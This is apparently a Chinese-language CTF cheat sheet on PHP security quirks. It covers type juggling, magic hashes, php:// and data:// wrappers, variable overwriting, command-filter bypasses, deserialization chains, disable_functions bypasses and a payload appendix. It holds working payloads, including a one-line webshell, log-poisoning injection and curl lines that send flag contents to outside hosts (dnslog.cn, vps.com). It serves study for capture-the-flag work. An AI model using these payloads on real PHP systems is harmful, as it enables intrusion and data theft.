2903 字
15 分钟
PHP特性
整理自CTF题目实战,涵盖PHP安全特性、绕过技巧与常见利用方式
目录
一、类型转换与弱比较
1.1 intval() 特性
intval(数组); // 空数组返回0,非空数组返回1intval(对象); // 产生错误intval("4476a"); // 返回4476intval("a4476"); // 返回0intval($num, 0); // 第二参数为0时自动识别进制绕过技巧:
-
传入数组:
?num[]=1(preg_match对数组返回false) -
进制绕过:
-
小数绕过:
4476.1经过intval后为4476 -
正负号:
+010574
1.2 弱类型比较表
| 比较 | 结果 | 原因 |
|---|---|---|
"4476a" == 4476 | true | 字符串转数字 |
"a4476" == 0 | true | 非数字开头转为0 |
"0e12345" == 0 | true | 科学计数法解析为0 |
"0e12345" == "0e67890" | true | 都解析为0 |
null == 0 | true | null转数字为0 |
null == false | true | 都转为false |
"" == 0 | true | 空字符串转数字为0 |
"123" == 123 | true | 字符串转数字 |
array() == false | true | 空数组为false |
array(1) == true | true | 非空数组为true |
1.3 强类型比较 ===
"4476" === 4476 // false (类型不同)"0e123" === "0e456" // false (字符串比较)绕过方式:
-
数组绕过:
md5([])返回 null,null === null -
MD5碰撞:不同内容产生相同hash
1.4 is_numeric() 特性
is_numeric("4476"); // trueis_numeric(" 4476"); // true (前导空白)is_numeric("4476.1"); // true (小数)is_numeric("4.476e3"); // true (科学计数法)is_numeric("+4476"); // trueis_numeric("-4476"); // trueis_numeric("0x117C"); // PHP5 true, PHP7 falseis_numeric("\x0C4476"); // true (换页符+数字)绕过技巧:
-
利用空白字符:
%0C36(换页符+数字) -
十六进制(PHP5):
0x36
1.5 字符串数字比较
"admin" == 0 // true"1admin" == 1 // true"admin1" == 0 // true"1e1" == 10 // true"0x10" == 16 // PHP5 true, PHP7 false二、正则与字符串函数
2.1 preg_match 数组绕过
preg_match('/[0-9]/', $_GET['num']); // 传入数组返回false// ?num[]=12.2 ereg %00截断
ereg("^[a-zA-Z]+$", $str); // PHP5.3弃用,PHP7移除// %00会导致ereg返回false// ?c=a%007782.3 正则修饰符
| 修饰符 | 作用 |
|---|---|
/i | 不区分大小写 |
/m | 多行模式,^$匹配每行开头结尾 |
/s | .匹配包括换行符 |
/e | PHP5中执行代码(危险) |
// 多行模式绕过preg_match('/^php$/im', $str); // 要求某一行等于phppreg_match('/^php$/i', $str); // 要求整个字符串等于php// ?cmd=php%0a1 第一行是php2.4 PCRE回溯深度限制
preg_match('/.+?ctfshow/is', $f);// PCRE默认回溯深度100万次,超出返回false// payload:str_repeat('very', 250000).'36Dctfshow';2.5 strpos/stripos 数组绕过
strpos("ctfshow", $f); // 传入数组返回nullstripos($f, 'ctfshow') === false; // 数组绕过// ?f[]=12.6 in_array 弱类型
in_array("4476a", [4476]); // true (弱比较)in_array("4476a", [4476], true); // false (强比较)2.7 strcmp 数组绕过
strcmp($a, $b); // 传入数组返回null// null != 0 为 true// ?a[]=12.8 switch-case 弱类型
switch($a) { case "admin": ...}// $a = 0 时匹配 "admin" (0 == "admin")三、MD5/SHA相关
3.1 MD5数组绕过
md5($a) === md5($b);// ?a[]=1&b[]=2 数组返回null,null===null3.2 魔术Hash
| Hash | 值 | MD5 |
|---|---|---|
| QNKCDZO | 0e830400451993494058024219903391 | 弱比较为true |
| s878926199a | 0e545993274517709034328855841020 | 弱比较为true |
| s155964671a | 0e342768416822451524974117254469 | 弱比较为true |
| s214587387a | 0e848240448830537924465865611904 | 弱比较为true |
SHA1魔术值:
-
aaroZmOk -
aaK1STfY -
aaO8zKZF -
aa3OFF9m
3.3 MD5碰撞
不同内容产生相同MD5值:
content1 = "aaO8zKZF"content2 = "aaK1STfY"// 这两个字符串MD5相同(需要完整文件内容)3.4 sha1 数组绕过
sha1($a) === sha1($b);// ?a[]=1&b[]=2 数组返回false3.5 hash_equals
hash_equals($a, $b); // 时间安全的字符串比较// 无法用数组绕过,PHP7+会警告四、PHP伪协议
4.1 php://filter
// Base64读取php://filter/read=convert.base64-encode/resource=flag.php
// rot13读取php://filter/read=string.rot13/resource=flag.php
// 字符串转换链php://filter/convert.iconv.UTF-8.UTF-16LE/resource=flag.php
// zlib压缩php://filter/zlib.deflate|zlib.inflate/resource=flag.php
// 写入(PHP5)php://filter/write=string.rot13/resource=shell.php4.2 php://input
// 读取POST原始数据file_get_contents('php://input');
// 配合文件包含执行代码include('php://input');// POST: <?php system('ls');4.3 data://
data://text/plain,<?php system('ls');data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==4.4 compress.zlib://
compress.zlib://flag.phpcompress.bzip2://flag.php4.5 phar://
// 触发反序列化phar://shell.phar// 配合文件操作函数:file_exists, fopen, file_get_contents等4.6 is_file 绕过
// 超长路径绕过/proc/self/root/proc/self/root/.../proc/self/root/var/www/html/flag.php
// 伪协议绕过php://filter/resource=flag.php // 返回false但能读取五、变量覆盖与解析
5.1 $$变量覆盖
$a = "flag";$$a = "ctfshow";// $flag = "ctfshow"
// 利用场景foreach($_GET as $key => $value) { $$key = $$value;}// ?suces=flag&error=suces// $suces = $flag, $error = $suces = $flag5.2 extract()
extract($_GET);// ?a=1 -> $a = 1// 可覆盖已有变量5.3 parse_str()
parse_str("a=1&b=2", $arr);// $arr = ['a' => 1, 'b' => 2]
parse_str("a=1&b=2"); // 不传第二个参数,直接创建变量// $a = 1, $b = 25.4 变量名解析规则
PHP会将以下字符转为下划线:- 空格- .- [
特殊情况:[ 后的内容会被保留# 示例CTF_SHOW.COM -> CTF_SHOW_COM (正常)CTF[SHOW.COM -> CTF_SHOW.COM ([ 转为_,后面的.保留)5.5 $_SERVER[‘QUERY_STRING’]
$_SERVER['QUERY_STRING'] // 原始查询字符串,不经过URL解码// 可用于绕过对下划线的过滤// ?ctf show=flag 原始字符串中的空格不会被转为_5.6 $_SERVER[‘argv’]
// register_argc_argv = On 时// ?a=1&b=2// $argv[0] = "a=1&b=2"// 可用于变量覆盖六、PHP内置类利用
6.1 反射类
// 查看类结构(包括私有属性)new ReflectionClass('ClassName');print new ReflectionClass('ClassName');
// 查看常量和默认属性ReflectionClass::getConstants();ReflectionClass::getDefaultProperties();6.2 文件操作类
可配合伪协议
// 目录迭代new DirectoryIterator('/var/www/html');new FilesystemIterator('/var/www/html');new GlobIterator('/var/www/html/*.php');
// 文件读取new SplFileObject('/flag');new SplFileInfo('/flag');
// 配合无参数函数new FilesystemIterator(getcwd());6.3 异常类
// __toString 泄露信息echo new Exception($可控内容);6.4 XML相关类(XXE)
默认不加载外部实体
new SimpleXMLElement($xml);new DOMDocument();// 可用于XXE攻击6.5 其他可用类
// ArrayObject - 数组转对象// ArrayIterator - 数组迭代// PDO - 数据库连接// SoapClient - SSRF七、命令执行绕过
7.1 常见执行函数
system($cmd); // 直接输出exec($cmd); // 返回最后一行shell_exec($cmd); // 返回完整输出passthru($cmd); // 直接输出二进制`$cmd`; // 反引号执行pcntl_exec($cmd); // PCNTL扩展popen($cmd, 'r'); // 打开进程管道proc_open(); // 更强大的管道7.2 无回显处理
// 写入文件system('cat flag > 1.txt');system('cat flag | tee 1.txt');
// DNS外带system('curl `cat flag`.dnslog.cn');
// HTTP外带system('curl http://vps.com?data=$(cat flag|base64)');7.3 长度限制绕过
// substr截断eval(substr($cmd, 0, 6));// 使用短命令:ls, cat, nl等
// 写入文件再执行echo '<?php system($_GET[1]);' > a.php7.4 字符限制绕过
// 无字母数字webshell// 使用异或、取反、自增等$_ = '!@#$%^&*()_+' ^ '...';$__($_);7.5 命令连接符
a; b # 顺序执行a && b # a成功后执行ba || b # a失败后执行ba | b # a的输出作为b的输入a & b # 后台执行`a` # 命令替换$(a) # 命令替换7.6 过滤绕过
# 空格绕过cat<flagcat${IFS}flagcat$IFS$9flag{cat,flag}cat%09flag # TAB
# 关键字绕过c''at flag # 空字符串c""at flagc\at flag # 转义ca\t flagc$@at flag`echo Y2F0 | base64 -d` flag # 编码
# 通配符cat /f??gcat /f*cat /f[l]agcat /f{a,b,c}ag八、反序列化漏洞
8.1 魔术方法
__construct() // 对象创建时__destruct() // 对象销毁时__wakeup() // 反序列化时调用__sleep() // 序列化时调用__toString() // 对象转字符串时__call() // 调用不存在方法时__get() // 访问不存在属性时__set() // 设置不存在属性时__invoke() // 对象作为函数调用时__clone() // 克隆对象时8.2 __wakeup绕过 (CVE-2016-7124)
// PHP5 < 5.6.25, PHP7 < 7.0.10// 当序列化字符串中属性个数大于实际个数时,跳过__wakeupO:4:"Test":1:{s:1:"a";s:1:"b";}// 改为O:4:"Test":2:{s:1:"a";s:1:"b";}8.3 POP链构造
// 典型POP链Class A { function __destruct() { $this->b->action(); }}Class B { function action() { eval($this->cmd); }}
// 构造链:A::__destruct -> B::action -> eval8.4 Phar反序列化
// 触发函数file_exists('phar://shell.phar');is_file('phar://shell.phar');file_get_contents('phar://shell.phar');fopen('phar://shell.phar', 'r');// 等
// 生成phar文件$phar = new Phar('shell.phar');$phar->setStub('<?php __HALT_COMPILER(); ?>');$phar->setMetadata($obj); // 序列化对象8.5 Session反序列化
// 不同处理器格式不同php | name|s:4:"test";php_binary | names:4:"test";php_serialize| a:1:{s:4:"name";s:4:"test";}
// 处理器不一致导致注入ini_set('session.serialize_handler', 'php_serialize');九、代码执行函数
9.1 eval/assert
eval($code); // 执行PHP代码,需要分号结尾assert($code); // PHP7前可执行代码,PHP7后变为表达式// PHP7: assert('system("ls")');// PHP5: assert(system('ls'));9.2 create_function (PHP7.2废弃)
$func = create_function('', 'system("ls");');$func();// 可注入代码$func = create_function('', '}system("ls");//');9.3 preg_replace /e (PHP5)
preg_replace('/.*/e', 'system("ls")', 'test');// /e修饰符会执行替换后的代码9.4 可变函数
$a = 'system';$a('ls'); // 执行 system('ls')
$a = 'assert';$a('system("ls")');9.5 call_user_func
call_user_func('system', 'ls');call_user_func('assert', 'system("ls")');
// 调用类方法call_user_func(['ClassName', 'staticMethod']);call_user_func([$obj, 'method']);9.6 array_map/array_filter等
array_map('system', ['ls', 'whoami']);array_filter(['ls', 'whoami'], 'system');
usort($arr, 'system');uasort($arr, 'system');uksort($arr, 'system');9.7 无参数RCE
// 无参数函数执行print_r(scandir(getcwd()));print_r(scandir(dirname(getcwd())));print_r(scandir('/'));
// 结合内置类new FilesystemIterator(getcwd());new DirectoryIterator(getcwd());十、文件操作相关
10.1 文件读取函数
file_get_contents($file);file($file);fread(fopen($file, 'r'), 1000);readfile($file);highlight_file($file);show_source($file);include($file);require($file);SplFileObject($file);10.2 文件写入函数
file_put_contents($file, $content);fwrite(fopen($file, 'w'), $content);move_uploaded_file($src, $dst);copy($src, $dst);rename($src, $dst);10.3 临时文件
// 上传临时文件$_FILES['file']['tmp_name'] // /tmp/phpXXXXXX
// 创建临时文件$temp = tmpfile();$temp = tempnam('/tmp', 'php');10.4 .htaccess利用
# 添加解析类型AddType application/x-httpd-php .jpg
# 设置解析引擎php_flag engine off # 关闭PHP解析
# auto_prepend_filephp_value auto_prepend_file "/flag"10.5 条件竞争
// 文件存在检查与删除之间存在间隙if(file_exists($file)) { // 时间差 unlink($file);}// 可在此间隙执行恶意代码十一、GPC与特殊字符处理
11.1 魔术引号 (PHP5.4废弃)
// magic_quotes_gpc = On// 自动转义 ' " \ NULL// 可用stripslashes()还原11.2 URL编码
$_GET/$_REQUEST 会自动URL解码$_SERVER['QUERY_STRING'] 不会解码11.3 特殊字符
%00 // 空字节,截断字符串(PHP5)%0a // 换行符%0d // 回车符%0c // 换页符%09 // TAB%20 // 空格11.4 二次编码
urlencode(urlencode($str));// 某些场景会解码两次十二、配置与安全限制绕过
12.1 disable_functions绕过
// LD_PRELOADputenv("LD_PRELOAD=/tmp/evil.so");mail("", "", "", "");
// PHP扩展// 使用未被禁用的函数:mb_send_mail, imap_open等
// FastCGI// 利用PHP-FPM
// COM组件(Windows)$w = new COM('WScript.shell');$w->exec('cmd');
// pcntl_exec(如果未禁用)pcntl_exec('/bin/sh', ['-c', 'id']);12.2 open_basedir绕过
// symlinksymlink("file", "link");
// glob://glob("glob:///flag*");
// ini_set (某些版本)ini_set("open_basedir", "/");
// bindtextdomainbindtextdomain("evil", "/flag");12.3 Session利用
// Session文件包含include('/tmp/sess_'.session_id());
// Session控制session_start();$_SESSION['cmd'] = '<?php system($_GET[1]);';12.4 日志包含
// 包含日志文件include('/var/log/apache2/access.log');include('/var/log/nginx/access.log');
// User-Agent注入PHP代码User-Agent: <?php system($_GET[1]);?>十三、数字与精度问题
13.1 浮点数精度
0.1 + 0.2 == 0.3 // false0.1 + 0.2 === 0.3 // false
// 比较问题$a = 0.1 + 0.2;abs($a - 0.3) < 0.0001; // 正确比较方式13.2 科学计数法
1e1 == 10 // true1e309 == INF // true (超出范围)"1e1" == 10 // true (字符串弱比较)13.3 整数溢出
PHP_INT_MAX // 64位: 9223372036854775807// 超出后转为浮点数13.4 十六进制字符串
// PHP5"0x10" == 16 // trueis_numeric("0x10") // true
// PHP7"0x10" == 16 // false (字符串比较)is_numeric("0x10") // false十四、其他函数特性
14.1 array相关
// 数组key转换$arr['1'] // 字符串'1'会转为整数1
// 数组比较[1,2] == [1] // false (长度不同)['a'=>1] == [] // false['a'=>1] == ['a'=>'1'] // true (弱比较)14.2 json_decode
// JSON要求UTF-8编码// 大整数可能丢失精度json_decode('{"num":9223372036854775808}');// 转为浮点数14.3 unserialize
// 可注入对象// 格式:O:类名长度:"类名":属性数:{属性}O:4:"Test":1:{s:1:"a";s:1:"b";}
// 私有属性O:4:"Test":1:{s:7:"\x00Test\x00a";s:1:"b";}// \x00类名\x00属性名
// 保护属性O:4:"Test":1:{s:4:"\x00*\x00a";s:1:"b";}14.4 basename
// 对非ASCII字符处理问题basename("/var/www/html/测试.php"); // 可能丢失文件名basename("/var/www/html/test.php"); // test.php14.5 trim行为
// 默认删除这些字符" " (空格)"\t" (制表符)"\n" (换行)"\r" (回车)"\0" (空字节)"\v" (垂直制表符)"\x0B" (垂直制表符)
// 不删除 \f (换页符)14.6 chr/ord
chr(65) // 'A'ord('A') // 65
// 可用于构造字符串chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // "system"十五、PHP版本差异
15.1 PHP5 vs PHP7
| 特性 | PHP5 | PHP7 |
|---|---|---|
| assert() | 可执行代码 | 仅表达式 |
| create_function() | 可用 | 7.2废弃 |
| mysql_*函数 | 可用 | 移除 |
| ereg函数 | 可用 | 移除 |
| /e修饰符 | 可用 | 移除 |
| 十六进制字符串 | 弱比较支持 | 弱比较不支持 |
| __wakeup绕过 | CVE存在 | 已修复 |
| $HTTP_RAW_POST_DATA | 可用 | 移除 |
15.2 PHP8新特性
// 命名参数// 注解// 联合类型// match表达式// Nullsafe运算符 ?->// str_contains/str_starts_with/str_ends_with附录:常用Payload速查
数组绕过
?num[]=1?a[]=1&b[]=2弱比较绕过
?num=4476a?num=0x117C?num=010574MD5/SHA绕过
?a[]=1&b[]=2?a=QNKCDZO&b=240610708伪协议
php://filter/read=convert.base64-encode/resource=flag.phpphp://inputdata://text/plain,<?php system('ls');phar://shell.phar变量覆盖
?_POST[key]=value?suces=flag&error=suces命令执行
| cat flag; cat flag`cat flag`$(cat flag)文件读取
?file=php://filter/resource=flag.php?file=/proc/self/root/.../flag.php